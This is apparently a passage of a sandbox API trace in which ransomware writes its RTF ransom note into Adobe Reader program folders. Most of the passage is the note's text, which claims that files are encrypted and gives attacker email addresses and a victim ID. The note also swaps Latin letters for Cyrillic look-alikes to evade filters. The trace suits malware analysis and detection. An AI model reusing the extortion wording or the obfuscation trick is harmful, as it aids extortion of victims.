ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\nd", lpUsedDefaultChar=0x0) returned 14086 [0041.084] WriteFile (in: hFile=0x1c4, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0041.085] CloseHandle (hObject=0x1c4) returned 1 [0041.086] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Services\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\services\\!bwng_info!.rtf")) returned 0xffffffff [0041.086] GetLastError () returned 0x2 [0041.086] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Services\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\services\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0041.087] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 